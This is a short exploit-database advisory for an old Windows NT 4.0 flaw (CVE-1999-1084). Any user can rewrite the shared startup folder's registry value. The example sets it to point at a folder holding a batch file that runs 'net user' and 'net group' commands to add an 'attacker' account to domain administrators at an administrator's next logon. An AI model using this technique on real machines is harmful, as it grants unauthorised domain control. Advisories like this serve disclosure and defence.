Microsoft Windows NT 4.0 - User Shell Folders

Author: anonymous
type: local
platform: windows
port: 
date_added: 2000-03-09 
date_updated: 2012-07-13 
verified: 1 
codes: CVE-1999-1084;OSVDB-6790 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/1042/info


The registry value

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Startup

specifies the shared startup folder for all users on a system. This key is set to be writeable by any authenticated user. Therefore, any user could specify a folder with a shortcut to a program of their choice that will be run any time a user logs in, at the privilege level of that user.

Example:

On a Domain Controller, a batch file containg the following commands:
--
net user attacker /add /domain
net group administrators attacker /add /domain
--
could be put into the folder c:\hackstartup.
Then the registry value
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Startup
could be set to the string "c:\hackstartup".
The next time an administrator logs on to that machine, the 'attacker' account will be created and added to the Administrators group on the PDC of the domain.